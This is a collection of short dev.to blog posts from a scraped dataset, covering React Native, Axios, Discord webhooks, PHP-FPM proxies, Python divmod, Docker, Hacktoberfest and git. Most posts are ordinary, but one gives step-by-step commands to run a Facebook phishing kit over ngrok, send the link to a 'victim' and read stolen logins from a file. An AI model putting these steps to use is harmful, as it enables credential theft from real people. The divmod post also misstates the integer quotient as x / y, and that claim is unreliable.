teleren/devto huggingface dataset:
My First Real Side Project
Tags: dev, reactnative, firebase
Published: 2021-10-08 05:20:30

---
title: My First Real Side Project
published: true
description: Current story of how I finally found something I wanted to create
tags: #dev #reactnative #firebase
//cover_image: https://direct_url_to_image.jpg
---

Picture this.

You come up with an idea you think would make a good app. You have dev experience so you say, "I can build that, shouldn't be too hard." You quickly spin up a new project and get to work. You carry that momentum for a couple days, maybe weeks and then...you forget about it. 

Has that happened to you? 

It has certainly happened to me. There are so many abandoned side project on my hard drive, just waiting there hoping that one day they'll get picked up again. In reality, they wont. 

They were not projects I was truly passionate about. 

I have my to-do list, static websites, react projects, but most of these were built with the intention to learn. They are projects from courses I have purchased. 

This project is the first project I want to complete because it is something I will use myself.

It is a workout tracking application that I hope will be a one for all solution. Tracking workouts, charts, calorie tracker, etc. In order for me to not abandon it; I must think small and work my way up. This is precisely what I am doing.

So far, I have the login/signup page, the list page, and the add page. 

That is all for now. I am hoping to write a series, sort of like a "how to" with what I have learned after I deploy it. 

## Lets Connect

✨ [Twitter](https://twitter.com/zeecnla)
How to Hack Any Facebook Account Credentials in 2021
Tags: php, html, hacking, phishing
Published: 2021-10-08 04:59:37

Hello Everyone 
Today I am going to show you how you can hack any Facebook Account Credentials in Termux (Android)
So lets get started

Firstly install termux from Playstore

Then upgrade packages

```shell
apt update && apt upgrade -y
```

Then install Git

```shell
pkg install git -y
```

Then clone this repo

```shell
git clone https://github.com/ProHarshit/FacebookPhish
```

Then navigate to it

```shell
cd FacebookPhish
```

Then install php

```shell
pkg install php -y
```

Then start PHP Server

```shell
php -S localhost:8080
```

Then open another session and run this command 

```shell
chmod 777 FacebookPhish/ngrok
```

Then turn on hotspot and run ngrok

```shell
./ngrok http 8080
```

Then copy the web forwarding url and give it to the victim.Ask him/her to login.

Now open another session and run this command

```shell
cd FacebookPhish && cat hacked.txt
```

Run this command again and again until you get credentials

Thank you
'Follower Goal 50'
Pls tell how did you like it
Install Vscode In Android New Method 2021
Tags: vscode, programming, beginners, opensource
Published: 2021-10-08 04:46:52

Hello Everyone
Today I am going to show you how you can install vscode in android with new method.
So lets get started

Firstly install Termux from Play Store

Then upgrade packages

```shell
apt update && apt upgrade -y
```

Then install python

```shell
pkg install python -y
```

Then run it

```shell
python
```

Then install Colabcode module

```python
pip install colabcode
```

It may take longer time but not more than 15 mins (maybe)

Then import ColabCode

```python
from colabcode import ColabCode
```

Then run it

```python
ColabCode()
```

I have not tested it yet.It was originally launched for Google Colab.

Thank you
'Follower Goal 50'
Pls tell how did you like it
Axios: My experience with the library.
Tags: webdev, javascript, programming, react
Published: 2021-10-08 04:23:17

![image](https://media0.giphy.com/media/yrhhmre5fN2PtRujfo/giphy.gif?cid=ecf05e47a5jofx83xi2xsq2cd4e8rj1v31ri2ynt86tnbo2u&rid=giphy.gif&ct=g)
Hey everyone and today I'm going to talk about my experience with the library axios, that makes the life off all developers, easier.

But wait, what is 'axios'??? Well from what I know and see others say axios is a promise based HTTP library, that makes api calls, like fetch, and gives you the response data direct, without all those `.then()`, basically it does that. Now I'm gonna show some ways I learned to use it.

#### First way I learned to use it
From the start the way you fetch data is simpler and direct, like the code below:
```javascript
import axios from 'axios'

function Foo() {
  useEffect(() => {
    async function handleAPI() {
      const response = await axios.get('URL-YOU-WANT-TO-GET-DATA')
// From this variable you can store it on some state 
// and you're good to go
    }
  })
```
This is some way you can use it, but there is some better ways to do it

![image](https://media3.giphy.com/media/d3mlE7uhX8KFgEmY/giphy.gif?cid=ecf05e47ejw0jotghfgnxofz2xoo5mb8lbej4jrxmt7vrqdy&rid=giphy.gif&ct=g)

#### Second approach, and the way I use
After using this library some times I started to see others use it and from what I could see, and the way it better fits me, is creating a folder and using it's create method, like below:
```javascript
import axios from 'axios'

const api = axios.create({
// This baseURL is the domain URL from the api
  baseURL: 'THE-DOMAIN-URL-FROM-THE-API',
})

export default api
```
And that's it you can import the file api from where you need, and just pass like this: 
```javascript
async function handleApiCall() {
  const response = await api.get('Here you can pass the route you want')
  setSomeStateHere(response.data)
}
```
And from here I say goodbye to you all
![image](https://media1.giphy.com/media/lD76yTC5zxZPG/giphy.gif?cid=ecf05e47o91r5wuwxm1dpybcwepnd9f0dbzek24f0rlmbezn&rid=giphy.gif&ct=g)
I'm gonna leave the link below for the docs of the axios and you can feel free to see my github, you can see some projects that use axios!
[Github Profile](https://github.com/gabrlcj)
[Axios Docs](https://axios-http.com/docs/intro)
Notificar eventos do seu repositório no GitHub em um canal do Discord
Tags: webhooks, automation, discord
Published: 2021-10-08 04:00:28

No seu servidor do Discord, criará um canal com uma caixa de texto.

![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/i0q6syjt7nhbq6okvs2y.png)
 
Eu criei com o nome 'Github' e em seguida você clicará na engrenagem, onde tá escrito "editar canal".

![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/08b8t0a77n3ae48ikauq.png)

Em seguida, na sua barra lateral esquerda, aperta em Integrações.
![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/pz0ijctw9q2a2nm17wz8.png)
 
Logo após, apertará em 'Criar um novo Webhook' e vai aparecer a telinha abaixo. Você colocará um nome do seu bot que fará automatização por você e escolha o seu canal, conforme você deseja que ele fique notificando. Feito isso, aperta ali em 'Copiar URL do Webhook', pois usaremos nos próximos passos.

Aperta em salvar alterações no botão verde logo abaixo.

![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fic5x1nltjjmn72hwrdf.png)
 
Feito, vamos no repositório lá no GitHub que você deseja emitir os alertas. No meu caso, criei um repositório novo para facilitar a explicação.
 
![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/f1ln2lgp2ejguj18k4fo.png)

Agora você vai em 'Settings' e na barra lateral esquerda, você aperta em Webhooks.

![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/evvy7vzmqe2zsdifw1bk.png)

Em seguida, aperta em 'Add webhook'

![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/rax0sga3gvvnc9nmxg1a.png)

Nessa janela que surgirá, vamos preencher com atenção para não ter erros, certo?

![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/ux8iuknjayrtabtrc81n.png)
   
No campo 'Payload URL', você vai colar aquele link copiou lá no Discord após criar o canal, lembra? Isso mesmo, o 'Copiar URL do webhook'. Após colocar o link do webhook, você digitará no final do '/github' sem as aspas.

**Exemplo de como ficará o teu link: **
https://discord.com/api/webhooks/1234567889/1239-1234-I-M/github

No campo 'Content type', você coloca o campo 'application/json'.

Which events would you like to trigger this webhook?
( )Just the push event.
( ) Send me everything.
( ) Let me select individual events. 

Nesse campo abaixo, ficará ao seu critério. É totalmente pessoal a escolha, onde a primeira opção pra enviar os eventos de git push. A segunda opção irá enviar tudo, seja até um comentário, push, fork, pr, enfim, tudo. Se você marcar o terceiro, abrirá o leque de opções que você poderá marcar as opções que deseja.

Em seguida, aperta o botão 'Add Webhook'.

![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/4ap432zhursdy6nblqre.png)

Sucesso! Está pronto. 

Eu criei uma nova Issue no repositório pra testar e já está subindo no canal do Discord.

![image](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/33386g3zkgy297wyb7b2.png)
Wanderlust: A Developer's Journey - Part 1
Tags: sideprojects, career, developerjourney, impostersyndrome
Published: 2021-10-08 03:45:04

---
title: Wanderlust: A Developer's Journey - Part 1
published: true
description: This is the first part of my journey towards starting and completing a full stack application and maybe gain some self-confidence along the way. 
tags: sideproject, career, developerjourney, impostersyndrome
---
![Leather Bound Journal on top of a Used and Highlighted World Map](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/nxrmyq970arj9ticgbak.jpg)
*Photo is by Kira auf der Heide. [Check out their work](https://unsplash.com/@kadh)*

### What got me started on this journey?
I was in a rut. I guess I was in a headspace that could best be described as 'sad, frustrated, and desperately looking for something better'. 

I've been struggling to get into tech for years. I got a job as a front-end developer/web designer at a small agency, but it wasn't meant to be. I got a certification in 2019, but it was to no avail. 

I kept thinking that I've done something wrong when compared to my peers constantly pouring over all of my steps since I arrived at university in 2012. 

Recently, I took a part-time job in the fulfillment center at a large retail company. 

After a few months, I finally got the resolve that I've been missing for awhile.  

### Where am I right now in my journey?
Right now I'm working on building Whanderluhst, a glassdoor type fullstack web application. 

I want to add onto a web app that I worked on with a small team which was an evolution of my senior thesis. 

### Where do I want to go? 
My end goal is to become a UI/UX or Front End Engineer.

### How will I get there? 
The hard way. I want to be able to feel like I've earned the job. This might stem from my anxiety and imposter syndrome (I'm working on that as well). 

### What steps have I taken so far in this post?
Well, I've decided to start this journey and I'm sharing my progress with all of you. 

I'm working on some of the designs which I'll be sharing in the next post. 

###What are my next steps?
The next steps of my journey is to work on what I want to feature and design the UX and UI for the app. 

### How do I feel about it?
I'm super nervous about on this and even more about sharing  my progress, but the regret of not doing something outweighs my anxiety. 

Hopefully, this will be a fun adventure! 

Thanks for reading!!
How to set proxy in PHP-FPM
Tags: phpfpm, nginx, proxy, php
Published: 2021-10-08 03:06:01

One of our clients server lives inside of tight security VPC.

Therefore, all of our EC2 web server must use HTTP_PROXY, HTTPS_PROXY.

When I try to use Concrete CMS (formally concrete5) to fetch the latest language files from remote server, I've got the curl timeout error and couldn't update the language.

So I need to set the proxy for PHP-FPM.

If you use Apache's PHP module or CLI, PHP will use server's environment settings.

However, for php-fpm you must also configure in php.d/www.conf.

Checked & tested with Amazon Linux 2 with PHP7.4 installed via amazon-linux-extra.

## Condition

For example, you have your proxy set for both http and https.

```
http://10.0.0.1:8080
```

## STEP 1. Set environment globally

Although php-fpm doesn't reference to server's global setting, you may still want to use PHP-CLI to run via SSH. So let's set it.

```
$ sudo vi /etc/environment
export http_proxy="http://10.0.0.1:8080"
export https_proxy="http://10.0.0.1:8080"
export HTTP_PROXY="http://10.0.0.1:8080"
export HTTPS_PROXY="http://10.0.0.1:8080"
export no_proxy="127.0.0.1,localhost"
export NO_PROXY=$no_proxy
```

Some middleware may use lowercase or capitol variable, so let's set both.

## STEP 2. Set php-fpm environment

Set it to your php-fpm config.

```
$ sudo vi /etc/php-fpm.d/www.conf
# Add the following two lines anywhere
env[HTTP_PROXY] = 10.0.0.1:8080
env[HTTPS_PROXY] = 10.0.0.1:8080
```


## STEP 3. Set php-fpm environment

Then, reload php-fpm service

```
sudo service php-fpm reload
```

## STEP 4. Test run

I've prepared the sample PHP script.
Change `$proxy` variable to your proxy.
And save it to your webroot.

Get my sample PHP script here.
https://en.katzueno.com/2021/10/08/how-to-set-proxy-in-php-fpm/
Python divmod()
Tags: python, programming, codenewbie, tutorial
Published: 2021-10-19 09:14:44

---
title: Python divmod()
published: true
date: 2021-10-08 02:03:00 UTC
tags: #python #programming #codenewbie #tutorial
canonical_url: https://itsmycode.com/python-divmod/
---

ItsMyCode |

The **`divmod()`** in Python is a built-in function that takes two numbers as input parameters and returns a pair of numbers ( **a tuple** ) consisting of their quotient and remainder.

## divmod() Syntax 

The syntax of **`divmod()`** is:

```
**divmod(_dividend_, _divisor_)**
```

## divmod() Parameters

**divmod()** takes two parameters as input

- **_dividend_**  – The number you want to divide. A non-complex number (numerator)
- **_divisor_**  – The number you want to divide with. A non-complex number (denominator)

## divmod() Return Value

- **`divmod()`** returns a pair of numbers (a tuple) consisting of quotient and remainder.

If **`x`** and **`y`** are integers, the return value from **`divmod()`** is **`(x / y, x % y)`**

If **`x`** or **`y`** is a float, the result is**`(q, x % y)`**, _where `q `is the whole part of the quotient._

## Example: How divmod() works in Python?

```python 

# Python3 code to demonstrate divmod()
 
# divmod() on integers 
print('divmod(4, 2) = ', divmod(4, 2))
print('divmod(5, 3) = ', divmod(5, 3))
print('divmod(6, 6) = ', divmod(6, 6))

# divmod() with Floats
print('divmod(4.0, 2) = ', divmod(4.0, 2))
print('divmod(5.5, 3.3) = ', divmod(5.5, 3.3))
print('divmod(6.5, 6.5) = ', divmod(6.5, 6.5))
```

**Output**

```python 
divmod(4, 2) = (2, 0)
divmod(5, 3) = (1, 2)
divmod(6, 6) = (1, 0)

divmod(4.0, 2) = (2.0, 0.0)
divmod(5.5, 3.3) = (1.0, 2.2)
divmod(6.5, 6.5) = (1.0, 0.0)
```

## **Errors And Exceptions**  

1. If either of the arguments (say x and y) is a float, the result is **`(q, x % y)`**. Here, q is the whole part of the quotient.
2. If the second argument is 0, it returns _**[Zero Division Error](https://docs.python.org/3/library/exceptions.html)**_
3. If the first argument is 0, it returns (0, 0)

The post [Python divmod()](https://itsmycode.com/python-divmod/) appeared first on [ItsMyCode](https://itsmycode.com).
Decimal to Binary
Tags: python, computerscience, binary, stack
Published: 2021-10-08 01:50:58

```python
# decimal_to_binary.py
#   This program converts a decimal number to binary using a stack.
# by: Scott Gordon

from stack import Stack

def convert_int_to_bin(dec_num):

    if dec_num == 0:
        return 0

    s = Stack()

    while dec_num > 0:
        remainder = dec_num % 2
        s.push(remainder)
        dec_num = dec_num // 2

    bin_num = ""
    while not s.is_empty():
        bin_num += str(s.pop())

    return bin_num

print(convert_int_to_bin(56))
print(convert_int_to_bin(2))
print(convert_int_to_bin(32))
print(convert_int_to_bin(10))

print(int(convert_int_to_bin(56),2)==56)
```
```python
"""
Stack Data Structure.
"""


class Stack:
    def __init__(self):
        self.items = []

    def push(self, item):
        self.items.append(item)

    def pop(self):
        return self.items.pop()

    def is_empty(self):
        return self.items == []

    def peek(self):
        if not self.is_empty():
            return self.items[-1]

    def get_stack(self):
        return self.items
```
Photo by <a href="https://unsplash.com/@swimstaralex?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Alexander Sinn</a> on <a href="https://unsplash.com/s/photos/binary?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText">Unsplash</a>
Working with Docker and Python: Learning as I go
Tags: python
Published: 2021-10-08 01:09:30

Still alive and living well. I assume the same for you guys as well.

Not too much has changed for me recently. Trying to find an internship opportunity is tough, so I've been making the most of my free time and continued working with stuff that I'm unfamiliar with. 

The big thing for me is a product microservice that will operate entirely via docker. I'm pretty poor right now so hosting the site is not an option, but having it run via docker gives me alot of options. I can separate the different pieces apart and have them run independently without having to worry about one piece potentially failing and ruining another aspect. Almost like I worked on something like this myself...*cough* Telescope *cough*.

Anyway, my server portion is operating different from how I would usually go about making it. I'm using Flask with Python this time as opposed to NodeJS. I really loved working with python and wanted to get more exposure to other web frameworks other than express for making web servers. This was a pain for me to learn though, especially when trying to tie the mongodb database together. 

Right now, my server is working fine. I plan to have sensitive information stored in a `.env` file as usual. Grabbing them was difficult in coordination with the docker-compose file I had going but I plan on do this probably after I finish my frontend service, which is going to be developed in Vue! Need more frontend love and been wanting an excuse to use VueJS for awhile.

My experience with volumes and redis has helped me alot with getting my mongodb service working. Redis would be amazing to use in the future and I definitely have plans to use it in the future. I probably will focus purely on JS/TS after this service is complete though. I feel more in tuned with JS and what it brings vs Python for my use cases. It's also 1 language so easier to work with. You can follow along with me [here](https://github.com/HyperTHD/Product-Microservice).

Now to find some Telescope bugs to fix. Or maybe they'll find me, either way, we hopefully get something exciting to do.
Another Year in Hacktoberfest - Hacktoberfest 2021
Tags: hacktoberfest
Published: 2021-10-08 00:12:21

### Motive for this year
Hi, i am Neeraj, i am not that much in Open-Sourcing but this is the only month that i become active than usual to contribute a bit that i can towards Open Sourcing. Hacktoberfest is a medium for me to that goal. This year my goal was to make more meaningful contributions than last year.

### Am i able to achieve them till now ?
If i see this year i had contributed to lots of useful repositories till now. 
1. Contributed to Opentek's Website and became a member of it. Checkout more here - https://opentek.live/
2. Made a Checker tool to check if github repository is eligible for Hacktoberfest 2021 - https://hfchecker.com/
3. Made a website for repository named Openmeme- https://github.com/shubhamcodez/OpenMeme
4. Made web3community website responsive - https://github.com/web3community/web3community.github.io
5. Made improvements to https://github.com/SahityaRoy/Hacktoberfest_Practice_Contribution & made website for https://github.com/yilkalargaw/direct_download_stalker
6. Now, comes the main thing this year i along with my friend hosted a github repository for hacktoberfest where we are collecting all developer profiles across the world and compiled them all at single place making them accessible for everyone. 
![HF2021](https://dev-to-uploads.s3.amazonaws.com/uploads/articles/aezq0gd5g4dy2tuaudzk.gif)
Link to website - https://profilemd.vercel.app/

So, in short this year i had already completed my goals but seeking more and working on more and more tasks.

### Progress
I had managed to open 18 Pull requests till now and i am eligible for 4 successfull pull reuqests under hacktoberfest 2021 and looking to make more useful contributions towards community.

### Thanks
Thanks to whole the community which makes Hacktoberfest possible and all the developers out there who are taking out their time to contribute to open source projects and make more people accessible to products free of cost.
How to change the author of multiple Git commits
Tags: snippet, git
Published: 2022-03-31 03:59:28

---
title: How to change the author of multiple Git commits
published: true
description: A snippet for updating the author details of several commits in a git repository
tags: snippet, git
canonical_url: https://www.ankursheel.com/blog/change-author-multiple-git-commits
---

## Problem

I have two accounts from which I access my GitHub repository. I have set one of them as a global setting. On a per-repository basis, I override the default details with my other account. Sometimes, I forget to override the default values and realize it only after making a few commits.

This post will show how we can update the author after making a few commits with incorrect details.

## Solution

First, we need to update our gitconfig with the author details.

```
[user]
name = author_name
email = author_email
```

We can run the following command.

```bash
git rebase -i <commit_hash> -x "git commit --amend --reset-author -CHEAD"
```

- **git rebase -i** : Runs git rebase in interactive mode, allowing altering individual commits in the process.
- **<commit\_hash>** : The hash of the commit after which we want to update the author.
- **-x** : Append the shell command for each line creating a commit.
- **git commit —amend** : Modify the most recent commit.
- **—reset-author** : Resets the author to the settings in the .gitconfig.
- **-CHEAD** : -C takes the existing commit object and reuses the log message without allowing the user to edit it. HEAD refers to the current commit we are viewing. -CHEAD takes the message from the current commit without opening the editor.

We will then be presented with an editor to confirm all the commits we want.

We can run the following command to update the author for all commits, including the root.

```bash
git rebase -i --root -x "git commit --amend --reset-author -CHEAD"
```

## Conclusion

This will update the author details for all the specified commits.

## References

- [git-commit Documentation](https://git-scm.com/docs/git-commit)
- [gitrevisions Documentation](https://git-scm.com/docs/gitrevisions)
- [git-rebase Documentation](https://git-scm.com/docs/git-rebase)